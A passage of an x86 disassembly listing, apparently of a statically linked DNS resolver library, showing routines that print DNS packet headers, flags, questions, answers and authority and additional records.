; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF70:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aPup ; case	0xc
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF7C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aChaos ; case 0x10
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF88:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aUdp ; case	0x11
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF94:				; CODE XREF: sub_805EEA4+Cj
					; sub_805EEA4+12j
					; DATA XREF: ...
		push	edx		; default
		push	offset aD_0	; "%d"
		push	offset unk_807E3C4
		call	sprintf
		mov	eax, offset unk_807E3C4
		mov	esp, ebp
		pop	ebp
		retn
sub_805EEA4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805EFB0	proc near		; CODE XREF: sub_805F1DC+3FCp
					; sub_805F1DC+42Ep ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_18]
		mov	edi, [ebp+arg_10]
		and	edi, dword_80786A4
		mov	ax, [ebp+arg_C]
		xchg	al, ah
		movzx	esi, ax
		test	esi, esi
		jz	loc_805F14C
		cmp	dword_80786A4, 0
		jz	short loc_805EFEC
		test	edi, edi
		jz	short loc_805EFF9
		test	byte ptr dword_80786A4+1, 1
		jz	short loc_805EFF9

loc_805EFEC:				; CODE XREF: sub_805EFB0+2Dj
		push	edx
		mov	ecx, [ebp+arg_14]
		push	ecx
		call	fprintf
		add	esp, 8

loc_805EFF9:				; CODE XREF: sub_805EFB0+31j
					; sub_805EFB0+3Aj
		dec	esi
		js	loc_805F110
		mov	eax, esi
		not	eax
		and	eax, 1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_805F010
		test	eax, eax
		jz	short loc_805F068

loc_805F010:				; CODE XREF: sub_805EFB0+5Aj
		cmp	dword_80786A4, 0
		jz	short loc_805F01D
		test	edi, edi
		jz	short loc_805F030

loc_805F01D:				; CODE XREF: sub_805EFB0+67j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F050
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F030:				; CODE XREF: sub_805EFB0+6Bj
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F050:				; CODE XREF: sub_805EFB0+7Dj
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_805F13C
		dec	esi
		js	loc_805F110

loc_805F068:				; CODE XREF: sub_805EFB0+5Ej
					; sub_805EFB0+15Aj
		cmp	dword_80786A4, 0
		jz	short loc_805F075
		test	edi, edi
		jz	short loc_805F088

loc_805F075:				; CODE XREF: sub_805EFB0+BFj
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F0A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F088:				; CODE XREF: sub_805EFB0+C3j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F0A8:				; CODE XREF: sub_805EFB0+D5j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_805F13C
		dec	esi
		cmp	dword_80786A4, 0
		jz	short loc_805F0C7
		test	edi, edi
		jz	short loc_805F0DC

loc_805F0C7:				; CODE XREF: sub_805EFB0+111j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F0FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F0DC:				; CODE XREF: sub_805EFB0+115j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F0FC:				; CODE XREF: sub_805EFB0+127j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	short loc_805F13C
		dec	esi
		jns	loc_805F068

loc_805F110:				; CODE XREF: sub_805EFB0+4Aj
					; sub_805EFB0+B2j
		cmp	dword_80786A4, 0
		jz	short loc_805F126
		test	edi, edi
		jz	short loc_805F14C
		test	byte ptr dword_80786A4+1, 1
		jz	short loc_805F14C

loc_805F126:				; CODE XREF: sub_805EFB0+167j
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		cmp	[ecx+18h], eax
		ja	short loc_805F140
		push	0Ah
		push	ecx
		call	sub_8061910
		jmp	short loc_805F14C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F13C:				; CODE XREF: sub_805EFB0+ABj
					; sub_805EFB0+103j ...
		xor	eax, eax
		jmp	short loc_805F14E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F140:				; CODE XREF: sub_805EFB0+17Fj
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [ecx+14h]

loc_805F14C:				; CODE XREF: sub_805EFB0+20j
					; sub_805EFB0+16Bj ...
		mov	eax, ebx

loc_805F14E:				; CODE XREF: sub_805EFB0+18Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805EFB0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F158	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_8078750
		push	eax
		call	sub_805F670
		mov	esp, ebp
		pop	ebp
		retn
sub_805F158	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F170	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	offset aResOptions ; ";; res options:"
		push	esi
		call	fprintf
		add	esp, 8
		test	edi, edi
		jnz	short loc_805F193
		mov	edi, offset dword_8078544

loc_805F193:				; CODE XREF: sub_805F170+1Cj
		mov	ebx, 1

loc_805F198:				; CODE XREF: sub_805F170+44j
		test	[edi+8], ebx
		jz	short loc_805F1B2
		push	ebx
		call	sub_8060630
		push	eax
		push	offset aS_0	; " %s"
		push	esi
		call	fprintf
		add	esp, 10h

loc_805F1B2:				; CODE XREF: sub_805F170+2Bj
		add	ebx, ebx
		jnz	short loc_805F198
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F1C8
		push	0Ah
		push	esi
		call	sub_8061910
		jmp	short loc_805F1D1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F1C8:				; CODE XREF: sub_805F170+4Cj
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F1D1:				; CODE XREF: sub_805F170+56j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F170	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F1DC	proc near		; CODE XREF: sub_804EA0C+63p
					; sub_804EA0C+893p ...

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		test	byte ptr dword_807854C,	1
		jnz	short loc_805F202
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jz	loc_805F663

loc_805F202:				; CODE XREF: sub_805F1DC+16j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_108], edx
		mov	ebx, edx
		add	ebx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		mov	[ebp+var_104], edx
		cmp	dword_80786A4, 0
		jz	short loc_805F236
		test	byte ptr dword_80786A4+1, 8
		jnz	short loc_805F236
		mov	edx, [ebp+arg_0]
		test	byte ptr [edx+3], 0Fh
		jz	short loc_805F295

loc_805F236:				; CODE XREF: sub_805F1DC+46j
					; sub_805F1DC+4Fj
		mov	edx, [ebp+var_108]
		mov	ax, [edx]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	al, [edx+3]
		and	eax, 0Fh
		mov	eax, dword_8078FEC[eax*4]
		push	eax
		mov	al, [edx+2]
		shr	al, 3
		and	eax, 0Fh
		mov	eax, dword_8078FAC[eax*4]
		push	eax
		push	offset aHeaderOpcodeSS ; ";; ->>HEADER<<- opcode: %s, status: %s,"...
		push	esi
		call	fprintf
		add	esp, 14h
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F28C
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F295
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F28C:				; CODE XREF: sub_805F1DC+9Ej
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F295:				; CODE XREF: sub_805F1DC+58j
					; sub_805F1DC+ABj
		cmp	dword_80786A4, 0
		jz	short loc_805F2A7
		test	byte ptr dword_80786A4+1, 8
		jz	short loc_805F2C5

loc_805F2A7:				; CODE XREF: sub_805F1DC+C0j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F2BC
		push	3Bh
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F2C5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F2BC:				; CODE XREF: sub_805F1DC+D1j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	3Bh
		inc	dword ptr [esi+14h]

loc_805F2C5:				; CODE XREF: sub_805F1DC+C9j
					; sub_805F1DC+DEj
		cmp	dword_80786A4, 0
		jz	short loc_805F2DB
		test	byte ptr dword_80786A4+1, 2
		jz	loc_805F36B

loc_805F2DB:				; CODE XREF: sub_805F1DC+F0j
		push	offset aFlags	; "; flags:"
		push	esi
		call	fprintf
		add	esp, 8
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+2], 0
		jge	short loc_805F303
		push	offset aQr	; " qr"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F303:				; CODE XREF: sub_805F1DC+117j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 4
		jz	short loc_805F31D
		push	offset aAa	; " aa"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F31D:				; CODE XREF: sub_805F1DC+131j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 2
		jz	short loc_805F337
		push	offset aTc	; " tc"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F337:				; CODE XREF: sub_805F1DC+14Bj
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 1
		jz	short loc_805F351
		push	offset aRd	; " rd"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F351:				; CODE XREF: sub_805F1DC+165j
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+3], 0
		jge	short loc_805F36B
		push	offset aRa	; " ra"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F36B:				; CODE XREF: sub_805F1DC+F9j
					; sub_805F1DC+17Fj
		cmp	dword_80786A4, 0
		jz	short loc_805F381
		test	byte ptr dword_80786A4+1, 1
		jz	loc_805F401

loc_805F381:				; CODE XREF: sub_805F1DC+196j
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aQuesD	; "; Ques: %d"
		push	esi
		call	fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+6]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAnsD	; ", Ans: %d"
		push	esi
		call	fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+8]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAuthD	; ", Auth: %d"
		push	esi
		call	fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+0Ah]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAdditD	; ", Addit: %d"
		push	esi
		call	fprintf
		add	esp, 0Ch

loc_805F401:				; CODE XREF: sub_805F1DC+19Fj
		cmp	dword_80786A4, 0
		jz	short loc_805F413
		test	byte ptr dword_80786A4+1, 0Bh
		jz	short loc_805F431

loc_805F413:				; CODE XREF: sub_805F1DC+22Cj
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F428
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F428:				; CODE XREF: sub_805F1DC+23Dj
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F431:				; CODE XREF: sub_805F1DC+235j
					; sub_805F1DC+24Aj
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		test	edi, edi
		jz	loc_805F5B0
		cmp	dword_80786A4, 0
		jz	short loc_805F45A
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F468

loc_805F45A:				; CODE XREF: sub_805F1DC+273j
		push	offset aQuestions ; ";;	QUESTIONS:\n"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F468:				; CODE XREF: sub_805F1DC+27Cj
		dec	edi
		js	loc_805F5B0
		nop

loc_805F470:				; CODE XREF: sub_805F1DC+3CEj
		cmp	dword_80786A4, 0
		jz	short loc_805F482
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F490

loc_805F482:				; CODE XREF: sub_805F1DC+29Bj
		push	offset asc_806969E ; ";;\t"
		push	esi
		call	fprintf
		add	esp, 8

loc_805F490:				; CODE XREF: sub_805F1DC+2A4j
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F4AE
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F4C4

loc_805F4AE:				; CODE XREF: sub_805F1DC+2C7j
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	sub_805F68C
		mov	ebx, eax
		add	esp, 10h
		jmp	short loc_805F4EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F4C4:				; CODE XREF: sub_805F1DC+2D0j
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_804D02C
		add	esp, 14h
		test	eax, eax
		jl	loc_805F658
		add	ebx, eax

loc_805F4EE:				; CODE XREF: sub_805F1DC+2E6j
		test	ebx, ebx
		jz	loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F514
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F534

loc_805F514:				; CODE XREF: sub_805F1DC+32Dj
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	sub_8060004
		push	eax
		push	offset aTypeS	; ", type = %s"
		push	esi
		call	fprintf
		add	esp, 14h

loc_805F534:				; CODE XREF: sub_805F1DC+336j
		add	ebx, 2
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F555
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F575

loc_805F555:				; CODE XREF: sub_805F1DC+36Ej
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	sub_80605D0
		push	eax
		push	offset aClassS	; ", class = %s\n"
		push	esi
		call	fprintf
		add	esp, 14h

loc_805F575:				; CODE XREF: sub_805F1DC+377j
		add	ebx, 2
		cmp	dword_80786A4, 0
		jz	short loc_805F58A
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F5A9

loc_805F58A:				; CODE XREF: sub_805F1DC+3A3j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F5A0
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F5A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F5A0:				; CODE XREF: sub_805F1DC+3B4j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F5A9:				; CODE XREF: sub_805F1DC+3ACj
					; sub_805F1DC+3C1j
		dec	edi
		jns	loc_805F470

loc_805F5B0:				; CODE XREF: sub_805F1DC+266j
					; sub_805F1DC+28Dj
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		push	offset aAnswers	; ";; ANSWERS:\n"
		push	esi
		push	20h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+6]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_805F650
		push	offset aAuthorityRecor ; ";; AUTHORITY RECORDS:\n"
		push	esi
		push	40h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+8]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_805F650
		push	offset aAdditionalReco ; ";; ADDITIONAL	RECORDS:\n"
		push	esi
		push	80h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+0Ah]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		jmp	short loc_805F663
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F650:				; CODE XREF: sub_805F1DC+2BAj
					; sub_805F1DC+320j ...
		push	offset a___truncated ; "\n;; ...truncated\n"
		jmp	short loc_805F65D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F658:				; CODE XREF: sub_805F1DC+30Aj
					; sub_805F1DC+314j ...
		push	offset a___malformed ; "\n;; ...malformed\n"

loc_805F65D:				; CODE XREF: sub_805F1DC+479j
		push	esi
		call	fprintf

loc_805F663:				; CODE XREF: sub_805F1DC+20j
					; sub_805F1DC+471j
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F1DC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F670	proc near		; CODE XREF: sub_805F158+Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	200h
		push	edx
		call	sub_805F1DC
		mov	esp, ebp
		pop	ebp
		retn
sub_805F670	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F68C	proc near		; CODE XREF: sub_805F1DC+2DCp
					; sub_805F710+14p

var_10C		= byte ptr -10Ch
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		push	edi
		mov	edx, eax
		add	edx, [ebp+arg_8]
		push	edx
		push	eax
		call	sub_804D02C
		mov	esi, eax
		add	esp, 14h
		test	esi, esi
		jge	short loc_805F6C8
		xor	eax, eax
		jmp	short loc_805F700
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6C8:				; CODE XREF: sub_805F68C+35j
		cmp	[ebp+var_100], 0
		jnz	short loc_805F6F0
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_805F6E4
		push	2Eh
		push	ebx
		call	sub_8061910
		jmp	short loc_805F6FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6E4:				; CODE XREF: sub_805F68C+4Bj
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [ebx+14h]
		jmp	short loc_805F6FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6F0:				; CODE XREF: sub_805F68C+43j
		push	ebx
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_80624D0

loc_805F6FD:				; CODE XREF: sub_805F68C+55j
					; sub_805F68C+61j
		lea	eax, [esi+edi]

loc_805F700:				; CODE XREF: sub_805F68C+39j
		lea	esp, [ebp+var_10C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F68C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F710	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		push	eax
		push	200h
		push	edx
		push	ecx
		call	sub_805F68C
		mov	esp, ebp
		pop	ebp
		retn
sub_805F710	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F730	proc near		; CODE XREF: sub_805F7E4+3Ap
					; sub_805F7E4+3C7p ...

var_110		= byte ptr -110h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0FFh
		push	edx
		push	eax
		call	sub_804D02C
		mov	[ebp+var_104], eax
		add	esp, 14h
		test	eax, eax
		jge	short loc_805F774
		xor	eax, eax
		jmp	short loc_805F7D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F774:				; CODE XREF: sub_805F730+3Dj
		cmp	[ebp+var_100], 0
		jnz	short loc_805F788
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		jbe	short loc_805F7BA
		jmp	short loc_805F7C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F788:				; CODE XREF: sub_805F730+4Bj
		push	esi
		lea	ebx, [ebp+var_100]
		push	ebx
		call	sub_80624D0
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		add	esp, 8
		cmp	byte ptr [ebp+eax+var_104+2], 2Eh
		jz	short loc_805F7CD
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F7C4

loc_805F7BA:				; CODE XREF: sub_805F730+53j
		push	2Eh
		push	esi
		call	sub_8061910
		jmp	short loc_805F7CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F7C4:				; CODE XREF: sub_805F730+55j
					; sub_805F730+88j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [esi+14h]

loc_805F7CD:				; CODE XREF: sub_805F730+80j
					; sub_805F730+92j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_104]

loc_805F7D6:				; CODE XREF: sub_805F730+41j
		lea	esp, [ebp+var_110]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F730	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805F7E4	proc near		; CODE XREF: sub_805EFB0+76p
					; sub_805EFB0+CEp ...

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		test	byte ptr dword_807854C,	1
		jnz	short loc_805F818
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805F818
		mov	ds:dword_807E788, 0FFFFFFFFh

loc_805F810:				; CODE XREF: sub_805F7E4+46j
					; sub_805F7E4+3D3j ...
		xor	eax, eax
		jmp	loc_805FFF7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F818:				; CODE XREF: sub_805F7E4+16j
